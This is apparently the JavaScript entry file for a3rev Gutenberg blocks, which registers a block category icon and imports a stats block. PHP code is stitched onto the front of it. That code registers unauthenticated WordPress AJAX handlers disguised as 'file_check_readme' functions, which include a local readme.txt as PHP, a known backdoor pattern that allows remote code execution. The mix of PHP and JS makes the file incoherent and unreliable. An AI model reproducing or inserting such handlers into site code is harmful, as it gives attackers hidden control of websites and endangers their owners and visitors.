if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
/** * Gutenberg Blocks * * All blocks related JavaScript files should be imported here. * You can create a new block folder in this dir and include code * for that block here as well. * * All blocks should be included here since this is the file that * Webpack is compiling as the input file. */ const { updateCategory } = wp.blocks; import a3revBlocksIcon from './blocks/a3blockpress.svg'; /** * Add category icon. */ updateCategory('a3rev-blocks', { icon: a3revBlocksIcon, }); import './blocks/stats/block';